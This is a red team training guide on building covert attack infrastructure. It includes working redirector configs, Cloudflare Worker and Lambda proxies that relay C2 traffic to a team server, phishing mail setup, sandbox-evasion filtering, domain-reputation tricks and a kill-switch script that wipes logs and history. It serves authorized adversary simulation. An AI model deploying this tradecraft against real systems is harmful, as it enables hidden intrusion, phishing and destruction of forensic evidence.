← Back to Red Teaming

Red Team Infrastructure

20 min read

Overview

Red team infrastructure is the backbone of every adversary simulation. It is the collection of servers, domains, certificates, redirectors, and automation that connects the operator’s keyboard to the target environment — while keeping the operator invisible. Poor infrastructure gets burned in hours; well-architected infrastructure can sustain months-long engagements without a single alert.

This page covers the end-to-end design, deployment, and operational security of red team infrastructure. The concepts here underpin everything from the C2 Frameworks you run over this infrastructure, to the Initial Access campaigns that depend on convincing domains and mail servers, to the Stealth & Evasion tradecraft that keeps your presence hidden.

The cardinal rule: the target should never see your real infrastructure. Every connection, every callback, every phishing email must pass through layers of indirection that can be burned, replaced, and denied.


Infrastructure Architecture Overview

Layered Design Philosophy

Professional red team infrastructure follows a strict separation-of-concerns model with multiple tiers. The operator never touches the target directly. Instead, traffic flows through a chain of disposable layers, each serving a specific function and each independently replaceable.

graph LR
    subgraph "Operator Tier"
        OP["Operator Workstation"]
        VPN["VPN / Tor Gateway"]
    end

    subgraph "Management Tier"
        TS["Team Server / C2"]
        LOG["Logging & Loot Server"]
    end

    subgraph "Redirector Tier"
        RHTTP["HTTPS Redirector"]
        RDNS["DNS Redirector"]
        RSMTP["SMTP Redirector"]
    end

    subgraph "Target Environment"
        TGT["Target Network"]
        USR["Target Users"]
    end

    OP -->|"Encrypted Tunnel"| VPN
    VPN -->|"SSH / WireGuard"| TS
    TS -->|"C2 Traffic"| RHTTP
    TS -->|"DNS C2"| RDNS
    TS -->|"Phishing"| RSMTP
    RHTTP -->|"Filtered HTTPS"| TGT
    RDNS -->|"DNS Queries"| TGT
    RSMTP -->|"Spear-Phish"| USR
    TS --- LOG

Why Separation Matters

ConcernWithout SeparationWith Separation
AttributionC2 IP found in logs points directly to operatorRedirector IP is burned; operator IP never exposed
ResilienceOne block kills the operationSpin up a new redirector in minutes
DetectionSingle IP serves C2, phishing, and DNS — easy to correlateEach function uses different infrastructure
ForensicsFull operation artifacts on one serverCompartmentalized — compromising one layer reveals nothing about others
LegalYour personal VPS is linked to the engagementClean separation between operator identity and engagement assets

Single Points of Failure

Every architecture should be audited for single points of failure (SPOFs). Common SPOFs in red team infrastructure include:

  • One domain for everything — if it gets blocklisted, all C2 channels die simultaneously
  • Single redirector — if the blue team blocks it, you lose all callbacks
  • Shared SSH keys — compromise of one server yields access to all others
  • One cloud account — provider takedown kills your entire operation
  • Centralized logging — if the log server is compromised, the engagement narrative is lost

Mitigate each of these with redundancy: multiple domains across registrars, multiple redirectors per C2 channel, unique credentials per server, infrastructure spread across providers, and encrypted off-site log backups.


Redirectors

Redirectors are the frontline of your infrastructure. They sit between the target and your team server, filtering traffic and forwarding only legitimate callbacks while sending analysts, scanners, and sandboxes to benign destinations.

HTTP/HTTPS Redirectors

The most common redirector type handles web-based C2 traffic. The redirector inspects incoming requests and decides whether to proxy them to your team server or redirect them to a legitimate website.

Apache mod_rewrite

Apache with mod_rewrite is the classic approach. Rules inspect the URI, User-Agent, headers, and source IP to make forwarding decisions.

# /etc/apache2/sites-enabled/redirector.conf
<VirtualHost *:443>
    ServerName updates.legit-domain.com

    SSLEngine On
    SSLCertificateFile /etc/letsencrypt/live/updates.legit-domain.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/updates.legit-domain.com/privkey.pem

    # Enable rewrite engine
    RewriteEngine On

    # Block known sandbox and security vendor IP ranges
    RewriteCond %{REMOTE_ADDR} ^74\.125\. [OR]
    RewriteCond %{REMOTE_ADDR} ^66\.249\. [OR]
    RewriteCond %{REMOTE_ADDR} ^35\.191\.
    RewriteRule ^.*$ https://www.microsoft.com/en-us/windows [L,R=302]

    # Only allow expected User-Agent strings (match your implant's UA)
    RewriteCond %{HTTP_USER_AGENT} !^Mozilla/5\.0\ \(Windows\ NT\ 10\.0
    RewriteRule ^.*$ https://www.microsoft.com/en-us/windows [L,R=302]

    # Only allow expected URI paths (match your C2 malleable profile)
    RewriteCond %{REQUEST_URI} !^/api/v2/update
    RewriteCond %{REQUEST_URI} !^/api/v2/status
    RewriteCond %{REQUEST_URI} !^/api/v2/config
    RewriteRule ^.*$ https://www.microsoft.com/en-us/windows [L,R=302]

    # If all conditions pass, proxy to the team server
    SSLProxyEngine On
    ProxyPass / https://TEAMSERVER_IP:443/
    ProxyPassReverse / https://TEAMSERVER_IP:443/

    # Hide server signatures
    ServerSignature Off
    Header always unset Server
    Header always unset X-Powered-By
</VirtualHost>

Nginx Redirector

Nginx offers better performance and a cleaner configuration syntax for redirector logic.

# /etc/nginx/sites-enabled/redirector.conf
server {
    listen 443 ssl;
    server_name updates.legit-domain.com;

    ssl_certificate     /etc/letsencrypt/live/updates.legit-domain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/updates.legit-domain.com/privkey.pem;

    # Hide Nginx version
    server_tokens off;

    # Default: redirect to legitimate site
    set $forward 0;

    # Check User-Agent matches expected implant UA
    if ($http_user_agent ~* "^Mozilla/5\.0 \(Windows NT 10\.0") {
        set $forward 1;
    }

    # Check URI matches expected C2 paths
    if ($request_uri !~* "^/api/v2/(update|status|config)") {
        set $forward 0;
    }

    # Deny known scanner/sandbox IPs via geo module
    # (loaded from /etc/nginx/blocked_ips.conf)

    location / {
        if ($forward = 0) {
            return 302 https://www.microsoft.com/en-us/windows;
        }

        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

Caddy Redirector

Caddy provides automatic HTTPS via Let’s Encrypt and a simpler configuration, making it ideal for rapid deployment.

updates.legit-domain.com {
    @blocked {
        remote_ip 74.125.0.0/16 66.249.0.0/16 35.191.0.0/16
    }
    redir @blocked https://www.microsoft.com/en-us/windows 302

    @valid_path {
        path /api/v2/update /api/v2/status /api/v2/config
    }

    handle @valid_path {
        reverse_proxy https://TEAMSERVER_IP:443 {
            transport http {
                tls_insecure_skip_verify
            }
        }
    }

    handle {
        redir https://www.microsoft.com/en-us/windows 302
    }
}

DNS Redirectors

DNS-based C2 channels require a redirector that forwards DNS queries for specific subdomains to your team server while responding normally (or dropping) all other queries.

A lightweight approach uses iptables NAT rules on a VPS that is the authoritative nameserver for your C2 domain:

# Forward all DNS traffic for the C2 domain to the team server
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination TEAMSERVER_IP:53
iptables -t nat -A POSTROUTING -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

For more granular control, use dnschef or coredns with custom plugins that inspect the queried subdomain and selectively forward only C2-related queries.

Smart Redirectors: Sandbox and Analyst Detection

Advanced redirectors go beyond simple User-Agent and IP checks. They analyze behavioral patterns to detect security researchers, automated sandboxes, and incident responders.

Indicators that a request is not from a real implant:

  • Request timing does not match the implant’s configured jitter and sleep intervals
  • TLS fingerprint (JA3/JA3S hash) does not match the expected implant’s TLS library
  • HTTP header order differs from the implant’s HTTP library
  • Request originates from a cloud provider IP range (AWS, Azure, GCP) commonly used for sandboxing
  • Geolocation is outside the expected target geography
  • The same IP sends requests to multiple unrelated redirector domains (correlation attempt)

Tools like Redirector.py, RedWarden, and mod_rewrite rule generators from projects like cs2modrewrite automate these checks.


C2 Server Setup

The Command and Control server (or team server) is the crown jewel of your infrastructure. It must be hardened, accessible only through your management tunnel, and invisible to the target.

Hardened VPS Provisioning

Start with a minimal server image. Every unnecessary package and service is an attack surface.

#!/bin/bash
# Hardened VPS bootstrap for C2 team server

# Update and strip unnecessary packages
apt update && apt upgrade -y
apt autoremove -y

# Install only what's needed
apt install -y ufw fail2ban tmux net-tools curl wget unzip

# Firewall: deny all inbound by default
ufw default deny incoming
ufw default allow outgoing

# Allow SSH only from operator VPN IP
ufw allow from OPERATOR_VPN_IP to any port 22 proto tcp

# Allow C2 traffic only from redirector IPs
ufw allow from REDIRECTOR_1_IP to any port 443 proto tcp
ufw allow from REDIRECTOR_2_IP to any port 443 proto tcp

# Allow DNS C2 only from DNS redirector
ufw allow from DNS_REDIRECTOR_IP to any port 53 proto udp

# Enable firewall
ufw enable

# SSH hardening
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
sed -i 's/#MaxAuthTries 6/MaxAuthTries 3/' /etc/ssh/sshd_config
echo "AllowUsers operator" >> /etc/ssh/sshd_config
systemctl restart sshd

# Disable IPv6 (reduces attack surface and prevents leaks)
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
echo "net.ipv6.conf.default.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

# Configure fail2ban
systemctl enable fail2ban
systemctl start fail2ban

echo "[+] Hardening complete."

Cloud Provider Selection

Choosing the right provider is critical for both operational security and infrastructure reliability.

ProviderProsConsBest For
DigitalOceanQuick setup, API-friendly, cheapUS-based, responsive to abuse reportsShort-term redirectors
VultrGlobal regions, hourly billing, crypto paymentModerate abuse response timeC2 servers, redirectors
Linode (Akamai)Reliable, good networkUS-based, detailed loggingLong-term team servers
OVHEuropean privacy laws, slow abuse responseComplex setup, variable supportLong-running infrastructure
AWSDomain fronting (limited), Lambda functionsExpensive, very responsive to abuseCDN abuse, Lambda redirectors
AzureDomain fronting, Functions, blends with enterprise trafficMicrosoft cooperation with LEAEnterprise target environments
Offshore VPSMaximum abuse tolerance, privacyUnreliable, poor network, may be pre-flaggedBackup infrastructure

Key considerations:

  • Never use personal accounts. Use engagement-specific email addresses and payment methods.
  • Spread infrastructure across multiple providers to avoid single-provider takedowns.
  • Prefer providers in jurisdictions with strong privacy protections (where legal and contractual obligations allow).
  • Avoid providers that are commonly blocklisted in enterprise environments.

Kill Switches

Every C2 server should have a kill switch — a rapid method to destroy evidence if the server is compromised or the engagement is terminated.

#!/bin/bash
# kill_switch.sh — Emergency infrastructure teardown
# Store on an encrypted volume; execute via out-of-band channel

echo "[!] KILL SWITCH ACTIVATED"

# Stop C2 framework
systemctl stop cobalt-strike 2>/dev/null
pkill -f teamserver 2>/dev/null
pkill -f mythic 2>/dev/null

# Secure-delete sensitive files
apt install -y secure-delete 2>/dev/null
srm -rzf /opt/cobaltstrike/ 2>/dev/null
srm -rzf /opt/mythic/ 2>/dev/null
srm -rzf /var/log/ 2>/dev/null
srm -rzf /root/.bash_history 2>/dev/null
srm -rzf /home/operator/ 2>/dev/null

# Overwrite free space
sfill -fllz /

# Drop firewall — allow nothing
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

echo "[+] Kill switch complete. Server is inert."

Phishing Infrastructure

Phishing campaigns require dedicated infrastructure separate from C2 servers. A compromised phishing server should reveal nothing about your command-and-control architecture.

Phishing Infrastructure Flow

graph TB
    subgraph "Operator"
        GO["GoPhish / King Phisher"]
    end

    subgraph "Mail Infrastructure"
        MTA["Postfix SMTP Server"]
        DKIM["OpenDKIM Signing"]
    end

    subgraph "DNS Records"
        SPF["SPF Record"]
        DKIMDNS["DKIM Public Key"]
        DMARC["DMARC Policy"]
        MX["MX Record"]
    end

    subgraph "Landing Infrastructure"
        REDIR["HTTPS Redirector"]
        LAND["Landing Page Server"]
        TRACK["Tracking Pixel Server"]
    end

    subgraph "Target"
        INBOX["Target Inbox"]
        BROWSER["Target Browser"]
    end

    GO -->|"Campaign"| MTA
    MTA --> DKIM
    DKIM -->|"Signed Email"| INBOX
    SPF -.->|"Validates"| MTA
    DKIMDNS -.->|"Validates"| DKIM
    DMARC -.->|"Policy"| INBOX
    MX -.->|"Routes"| MTA
    INBOX -->|"Clicks Link"| REDIR
    REDIR --> LAND
    LAND -->|"Credential Capture / Payload"| BROWSER
    INBOX -->|"Opens Email"| TRACK

Mail Server Configuration

A convincing phishing campaign requires proper email authentication records. Without them, most enterprise mail gateways will reject or quarantine your messages.

Postfix setup on a dedicated VPS:

# Install Postfix and OpenDKIM
apt install -y postfix opendkim opendkim-tools

# Generate DKIM key pair
mkdir -p /etc/opendkim/keys/phish-domain.com
opendkim-genkey -t -s mail -d phish-domain.com -D /etc/opendkim/keys/phish-domain.com
chown -R opendkim:opendkim /etc/opendkim

# Display the DKIM public key for DNS TXT record
cat /etc/opendkim/keys/phish-domain.com/mail.txt

Required DNS records for the phishing domain:

; SPF — authorize only your mail server IP
phish-domain.com.    IN  TXT  "v=spf1 ip4:MAIL_SERVER_IP -all"

; DKIM — publish the public key
mail._domainkey.phish-domain.com.  IN  TXT  "v=DKIM1; k=rsa; p=<PUBLIC_KEY_HERE>"

; DMARC — set a policy (relaxed for initial testing)
_dmarc.phish-domain.com.  IN  TXT  "v=DMARC1; p=none; rua=mailto:dmarc@phish-domain.com"

; MX record
phish-domain.com.    IN  MX   10  mail.phish-domain.com.

; A record for mail server
mail.phish-domain.com.  IN  A  MAIL_SERVER_IP

; Reverse DNS (PTR) — configure via your VPS provider
; MAIL_SERVER_IP -> mail.phish-domain.com

GoPhish Setup

GoPhish is the de facto open-source phishing platform for red teams. Deploy it on its own server, separate from your mail relay.

# Download and install GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
cd /opt/gophish

# Modify config.json to listen on localhost (access via SSH tunnel)
# Never expose the admin panel to the internet
cat > config.json << 'GOPHISH_CONFIG'
{
    "admin_server": {
        "listen_url": "127.0.0.1:3333",
        "use_tls": true,
        "cert_path": "gophish_admin.crt",
        "key_path": "gophish_admin.key"
    },
    "phish_server": {
        "listen_url": "0.0.0.0:8080",
        "use_tls": false
    }
}
GOPHISH_CONFIG

chmod +x gophish
./gophish &

Access the admin panel via SSH tunnel:

ssh -L 3333:127.0.0.1:3333 operator@GOPHISH_SERVER -p 2222
# Then browse to https://localhost:3333

Tracking and Landing Pages

  • Tracking pixels: 1x1 transparent images embedded in the email body. When the recipient’s email client loads the image, it registers an “opened” event with the target’s IP, User-Agent, and timestamp.
  • Landing pages: Clone the target organization’s login portal (Office 365, VPN portal, SSO page). Use tools like EvilGinx2 for real-time session hijacking that captures MFA tokens.
  • Payload hosting: If delivering payloads rather than harvesting credentials, host them behind your HTTPS redirector with the same filtering rules used for C2 traffic.

Domain Management

Domains are the public face of your infrastructure. A poorly chosen domain can trigger instant suspicion, while a well-prepared domain can sail through the most aggressive email and web filters.

Aged Domains

Newly registered domains are inherently suspicious. Most security products assign a risk score based on domain age, and domains less than 30 days old are frequently flagged or blocked outright.

Why aged domains matter:

  • Domain age is a primary input to reputation engines (Cisco Umbrella, Symantec WebPulse, Palo Alto URL Filtering)
  • Older domains with existing backlinks and crawl history appear more legitimate
  • Many email gateways quarantine messages from domains registered within the past 7-30 days

How to acquire aged domains:

  1. Expired domain auctions: Services like ExpiredDomains.net, NameJet, and SnapNames list recently expired domains. Filter by age, backlink profile, and prior categorization.
  2. Pre-registration and aging: Register domains 3-6 months before an engagement. Build a minimal website, add a few social media links, and let search engines crawl it.
  3. Domain marketplaces: Buy existing domains from Afternic, Sedo, or Dan.com. Look for domains that already have web or health or technology categorization.

Categorized Domains

Domain categorization by web proxy and firewall vendors determines whether traffic to your domain is allowed through enterprise security controls.

CategoryUse CaseAcquisition Method
Health/MedicalBypasses strict enterprise filters (health info is often whitelisted)Buy expired health blog domains
TechnologyBlends with IT update trafficRegister domains resembling software update sites
FinancialUseful for targeting financial sectorRisky — heavily monitored
CDN/CloudDomain fronting or cloud C2Use actual cloud provider domains
UncategorizedFlexible but may trigger “unknown” blocksFresh registrations

Check your domain’s categorization with: Symantec SiteReview, Palo Alto URL Filtering, McAfee TrustedSource, Fortiguard Web Filter, and Cisco Talos Intelligence.

Submit recategorization requests before the engagement begins. It can take 24-72 hours for changes to propagate.

Domain Fronting

Domain fronting abuses CDN infrastructure to hide the true destination of HTTPS requests. The TLS SNI field and the HTTP Host header carry different values — the SNI shows a high-reputation domain (the “front”), while the Host header routes the request to your C2 backend.

How it works:

  1. Implant makes HTTPS request to legitimate-cdn-customer.cloudfront.net (SNI field)
  2. TLS connection is established with CloudFront — network inspection sees only traffic to a trusted CDN
  3. Inside the encrypted tunnel, the HTTP Host header is set to your-c2.cloudfront.net
  4. CloudFront routes the request based on the Host header to your C2 distribution

Note: Major CDN providers (AWS CloudFront, Google Cloud, Azure CDN) have increasingly implemented domain fronting countermeasures since 2018. AWS explicitly blocks mismatched SNI/Host headers on CloudFront. Azure and Google have similar restrictions. Domain fronting is less reliable than it once was, but variations (domain hiding, domain borrowing) continue to evolve. Always test before relying on this technique in an engagement.

DNS Configuration

Proper DNS configuration ties your entire infrastructure together. A typical red team engagement requires:

; Primary C2 domain
c2-domain.com.              IN  A      REDIRECTOR_1_IP
c2-domain.com.              IN  A      REDIRECTOR_2_IP
www.c2-domain.com.          IN  CNAME  c2-domain.com.

; DNS C2 subdomain delegation
ns1.c2-domain.com.          IN  A      DNS_REDIRECTOR_IP
c2.c2-domain.com.           IN  NS     ns1.c2-domain.com.

; Phishing domain
phish-domain.com.            IN  A      LANDING_PAGE_IP
mail.phish-domain.com.       IN  A      MAIL_SERVER_IP
phish-domain.com.            IN  MX     10  mail.phish-domain.com.
phish-domain.com.            IN  TXT    "v=spf1 ip4:MAIL_SERVER_IP -all"
mail._domainkey.phish-domain.com.  IN  TXT  "v=DKIM1; k=rsa; p=<KEY>"
_dmarc.phish-domain.com.     IN  TXT    "v=DMARC1; p=quarantine; rua=mailto:d@phish-domain.com"

CDN and Cloud Abuse

Cloud services provide legitimate infrastructure that blends with normal enterprise traffic. Red teams leverage these services to make C2 traffic indistinguishable from routine business communications.

CloudFlare Workers as C2 Proxies

CloudFlare Workers execute JavaScript at CloudFlare’s edge, effectively turning CloudFlare into a serverless redirector. Traffic to your Worker appears as normal CloudFlare HTTPS traffic.

// CloudFlare Worker — C2 proxy
addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
    // Only forward requests with the expected secret header
    const authToken = request.headers.get('X-Request-ID');
    if (authToken !== 'ENGAGEMENT_SECRET_TOKEN') {
        // Redirect analysts/scanners to a legitimate site
        return Response.redirect('https://www.microsoft.com', 302);
    }

    // Clone the request and forward to the actual C2 server
    const c2Url = 'https://TEAMSERVER_IP' + new URL(request.url).pathname;
    const modifiedRequest = new Request(c2Url, {
        method: request.method,
        headers: request.headers,
        body: request.body,
    });

    return fetch(modifiedRequest);
}

AWS Lambda and API Gateway

AWS Lambda functions behind API Gateway create a serverless redirector that appears as legitimate AWS traffic.

# AWS Lambda C2 redirector
import json
import urllib3

C2_SERVER = "https://TEAMSERVER_IP"
EXPECTED_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

def lambda_handler(event, context):
    # Validate the request
    headers = event.get('headers', {})
    user_agent = headers.get('User-Agent', '')

    if EXPECTED_UA not in user_agent:
        return {
            'statusCode': 302,
            'headers': {'Location': 'https://www.microsoft.com'},
            'body': ''
        }

    # Forward to C2 server
    http = urllib3.PoolManager()
    path = event.get('path', '/')
    body = event.get('body', '')

    response = http.request(
        event['httpMethod'],
        f"{C2_SERVER}{path}",
        body=body,
        headers={'User-Agent': user_agent}
    )

    return {
        'statusCode': response.status,
        'headers': dict(response.headers),
        'body': response.data.decode('utf-8')
    }

Azure Functions

Azure Functions offer similar capabilities and blend naturally with enterprise environments that already use Azure services heavily.

Cloud Service Abuse Summary

The overarching principle: use the cloud services that your target already trusts. If the target organization runs on Azure, route your C2 through Azure. If they use AWS, use CloudFront or Lambda. The traffic will blend with their normal cloud service consumption and pass through firewall allow-lists that trust those IP ranges.


SSL/TLS Configuration

Every external-facing component of your infrastructure must use HTTPS. Unencrypted traffic is trivially inspectable and immediately suspicious in modern enterprise environments.

Let’s Encrypt Automation

Let’s Encrypt provides free, automated TLS certificates. Use certbot for automated issuance and renewal.

# Install certbot
apt install -y certbot

# For Apache redirectors
apt install -y python3-certbot-apache
certbot --apache -d updates.legit-domain.com --non-interactive --agree-tos -m engagement@protonmail.com

# For Nginx redirectors
apt install -y python3-certbot-nginx
certbot --nginx -d updates.legit-domain.com --non-interactive --agree-tos -m engagement@protonmail.com

# For standalone (Caddy handles this automatically)
certbot certonly --standalone -d updates.legit-domain.com --non-interactive --agree-tos -m engagement@protonmail.com

# Auto-renewal cron
echo "0 3 * * * certbot renew --quiet" | crontab -

Certificate Transparency Log Concerns

Let’s Encrypt (and all public CAs) submit certificates to Certificate Transparency (CT) logs. This means:

  • Your domain is publicly visible the moment a certificate is issued
  • Blue teams can monitor CT logs (via crt.sh, Certstream, Facebook CT Monitor) for domains resembling their organization
  • Automated alerting on newly-issued certificates for lookalike domains is common in mature security teams

Mitigations:

  • Issue certificates well in advance of the engagement (during the domain aging period)
  • Use wildcard certificates (*.legit-domain.com) to avoid exposing specific subdomain names
  • Consider self-signed certificates for internal team server communications (between redirectors and team server) where public trust is not needed
  • Monitor your own CT log entries at crt.sh to see what is exposed

SSL Certificate Cloning

For maximum stealth, clone the SSL certificate attributes of the site you are impersonating. While you cannot duplicate the private key, you can create a self-signed certificate with identical subject fields, or use a domain that generates a Let’s Encrypt certificate resembling the target’s certificate structure.

Tools like SslMate and OpenSSL can generate certificates with matching subject alternative names, organizational fields, and validity periods for use on internal infrastructure segments.


Infrastructure as Code

Manual infrastructure setup is error-prone, slow, and unrepeatable. Modern red teams use Infrastructure as Code (IaC) to deploy and tear down entire engagement environments in minutes.

Terraform for Infrastructure Provisioning

Terraform automates the creation of cloud resources across providers. A single terraform apply can spin up your entire engagement infrastructure; terraform destroy tears it down cleanly.

# main.tf — Red Team Infrastructure
terraform {
  required_providers {
    digitalocean = {
      source  = "digitalocean/digitalocean"
      version = "~> 2.0"
    }
    cloudflare = {
      source  = "cloudflare/cloudflare"
      version = "~> 4.0"
    }
  }
}

# Variables
variable "do_token" {}
variable "ssh_key_fingerprint" {}
variable "c2_domain" { default = "updates.legit-domain.com" }

provider "digitalocean" {
  token = var.do_token
}

# Team Server
resource "digitalocean_droplet" "teamserver" {
  image    = "ubuntu-22-04-x64"
  name     = "ts-${random_id.engagement.hex}"
  region   = "fra1"
  size     = "s-2vcpu-4gb"
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["engagement-${random_id.engagement.hex}"]
}

# HTTPS Redirector 1
resource "digitalocean_droplet" "https_redir_1" {
  image    = "ubuntu-22-04-x64"
  name     = "redir1-${random_id.engagement.hex}"
  region   = "nyc1"
  size     = "s-1vcpu-1gb"
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["engagement-${random_id.engagement.hex}"]
}

# HTTPS Redirector 2 (redundancy)
resource "digitalocean_droplet" "https_redir_2" {
  image    = "ubuntu-22-04-x64"
  name     = "redir2-${random_id.engagement.hex}"
  region   = "lon1"
  size     = "s-1vcpu-1gb"
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["engagement-${random_id.engagement.hex}"]
}

# DNS Redirector
resource "digitalocean_droplet" "dns_redir" {
  image    = "ubuntu-22-04-x64"
  name     = "dns-${random_id.engagement.hex}"
  region   = "ams3"
  size     = "s-1vcpu-1gb"
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["engagement-${random_id.engagement.hex}"]
}

# Phishing Mail Server
resource "digitalocean_droplet" "mail_server" {
  image    = "ubuntu-22-04-x64"
  name     = "mail-${random_id.engagement.hex}"
  region   = "fra1"
  size     = "s-1vcpu-2gb"
  ssh_keys = [var.ssh_key_fingerprint]

  tags = ["engagement-${random_id.engagement.hex}"]
}

resource "random_id" "engagement" {
  byte_length = 4
}

# Outputs
output "teamserver_ip" {
  value = digitalocean_droplet.teamserver.ipv4_address
}

output "https_redir_1_ip" {
  value = digitalocean_droplet.https_redir_1.ipv4_address
}

output "https_redir_2_ip" {
  value = digitalocean_droplet.https_redir_2.ipv4_address
}

output "dns_redir_ip" {
  value = digitalocean_droplet.dns_redir.ipv4_address
}

output "mail_server_ip" {
  value = digitalocean_droplet.mail_server.ipv4_address
}

Ansible for Configuration Management

After Terraform creates the servers, Ansible configures them. Separate playbooks handle each server role.

# ansible/playbooks/redirector.yml
---
- name: Configure HTTPS Redirector
  hosts: redirectors
  become: yes
  vars:
    teamserver_ip: "{{ hostvars['teamserver']['ansible_host'] }}"
    c2_domain: "updates.legit-domain.com"

  tasks:
    - name: Install packages
      apt:
        name:
          - nginx
          - certbot
          - python3-certbot-nginx
        state: present
        update_cache: yes

    - name: Deploy Nginx redirector config
      template:
        src: templates/nginx-redirector.conf.j2
        dest: /etc/nginx/sites-enabled/redirector.conf
      notify: Reload Nginx

    - name: Obtain Let's Encrypt certificate
      command: >
        certbot --nginx
        -d {{ c2_domain }}
        --non-interactive
        --agree-tos
        -m engagement@protonmail.com
      args:
        creates: /etc/letsencrypt/live/{{ c2_domain }}/fullchain.pem

    - name: Configure UFW
      ufw:
        rule: allow
        port: "{{ item }}"
        proto: tcp
      loop:
        - "80"
        - "443"

    - name: Enable UFW
      ufw:
        state: enabled
        default: deny

  handlers:
    - name: Reload Nginx
      service:
        name: nginx
        state: reloaded

Notable Red Team Infrastructure Frameworks

Several open-source projects provide complete IaC templates for red team infrastructure:

  • Red Team Infrastructure Wiki (Steve Borosh) — comprehensive reference for building out red team infrastructure
  • Red Baron — Terraform modules specifically designed for red team infrastructure across multiple cloud providers
  • Axiom — dynamic infrastructure framework for distributing workloads across ephemeral cloud instances
  • packer + Terraform + Ansible pipelines — custom combinations for fully automated, reproducible deployments

OPSEC Considerations

Operational security is what separates a professional red team from a noisy penetration test. Every decision about infrastructure must be filtered through an OPSEC lens.

Operator Access

Operators should never connect directly to engagement infrastructure from their home or office IP addresses.

Access chain:

Operator Workstation → Commercial VPN → Engagement VPN (WireGuard) → Team Server
  • Use a commercial VPN (Mullvad, ProtonVPN) as the first hop to mask your ISP-assigned IP
  • Run an engagement-specific WireGuard server that only accepts connections from the commercial VPN exit IP
  • Access the team server only via SSH through the WireGuard tunnel
  • Never access engagement infrastructure from the same network you use for personal browsing or other clients

Separation per Engagement

Infrastructure must be completely isolated between engagements:

  • Unique cloud accounts per engagement (or per client, at minimum)
  • Unique domains — never reuse a domain across engagements
  • Unique SSH keys generated per engagement
  • Unique VPN configurations
  • No shared credentials, API keys, or tokens between engagements
  • Destroy all infrastructure at engagement conclusion (after evidence preservation)

Data Handling and Evidence Preservation

Red team operations generate sensitive data — credentials, screenshots, keylog data, network maps. This data requires careful handling:

  • Encrypt at rest: All loot and log data on the team server should be on an encrypted volume (LUKS)
  • Encrypt in transit: All operator-to-server communications travel through encrypted tunnels
  • Chain of custody: Maintain timestamps and hashes for all collected evidence
  • Retention policy: Agree with the client on data retention and destruction timelines before the engagement begins
  • Secure deletion: Use shred or srm for file deletion; sfill for free space wiping; full disk overwrite before VPS termination

Attribution Avoidance

Even in authorized engagements, practicing attribution avoidance trains good habits and tests the blue team’s ability to attribute activity.

  • Payment: Use engagement-specific prepaid cards or cryptocurrency for cloud services
  • Email: Use unique ProtonMail or Tutanota addresses per engagement for domain registration and cloud accounts
  • Registration data: Use WHOIS privacy protection on all domains
  • Metadata: Strip EXIF data from images, document metadata from Office files used in phishing
  • Timing: Conduct operations during target business hours to blend with normal activity; avoid off-hours activity that stands out in logs
  • Language and locale: Match your infrastructure’s timezone, language settings, and locale to the target geography

Burn Protocols

When infrastructure is detected (or “burned”), have a documented protocol:

  1. Confirm the burn: Verify that the specific component (domain, IP, redirector) is actually detected vs. a false alarm
  2. Assess scope: Determine what the blue team can see — just the redirector IP, or can they trace back further?
  3. Activate replacement: Spin up pre-staged replacement infrastructure (having cold-standby redirectors ready is critical)
  4. Migrate callbacks: Update implant configurations to use new redirector addresses (this is why implants should support multiple fallback C2 channels)
  5. Burn the compromised component: Tear down the detected server, release the IP address
  6. Document: Log the burn — what was detected, how, and what the response was — for the engagement report
  7. Assess OPSEC failure: Determine root cause and adjust tactics

Infrastructure Diagrams

Full Engagement Architecture

The following diagram illustrates a complete red team infrastructure deployment for a medium-complexity engagement with both phishing and C2 capabilities.

graph TB
    subgraph "Operator Layer"
        OP1["Operator 1"]
        OP2["Operator 2"]
        LEAD["Team Lead"]
        CVPN["Commercial VPN<br/>(Mullvad/ProtonVPN)"]
        EVPN["Engagement WireGuard VPN"]
    end

    subgraph "Command & Control Layer"
        CS["Cobalt Strike<br/>Team Server"]
        MYTHIC["Mythic C2<br/>(Backup)"]
        LOOT["Encrypted Loot<br/>& Log Server"]
    end

    subgraph "Redirector Layer"
        RHTTP1["HTTPS Redirector 1<br/>(Nginx — NYC)"]
        RHTTP2["HTTPS Redirector 2<br/>(Apache — LON)"]
        RDNS["DNS Redirector<br/>(CoreDNS — AMS)"]
        RSMTP["SMTP Relay<br/>(Postfix — FRA)"]
        CF["CloudFlare Worker<br/>(Backup C2)"]
    end

    subgraph "Domain Layer"
        DOM1["updates.legit-domain.com<br/>(Aged — Tech Category)"]
        DOM2["cdn-static.other-domain.com<br/>(Aged — CDN Category)"]
        DOM3["notifications.phish-domain.com<br/>(Aged — Business Category)"]
        DNSDOM["c2.dns-domain.com<br/>(DNS C2 Channel)"]
    end

    subgraph "Target Environment"
        FW["Perimeter Firewall"]
        PROXY["Web Proxy"]
        MAIL["Mail Gateway"]
        WS["Workstations"]
        SRV["Servers"]
        DC["Domain Controller"]
    end

    OP1 --> CVPN
    OP2 --> CVPN
    LEAD --> CVPN
    CVPN --> EVPN
    EVPN -->|"SSH/WireGuard"| CS
    EVPN -->|"SSH/WireGuard"| MYTHIC
    CS --> LOOT
    MYTHIC --> LOOT

    CS -->|"C2 Traffic"| RHTTP1
    CS -->|"C2 Traffic"| RHTTP2
    CS -->|"DNS C2"| RDNS
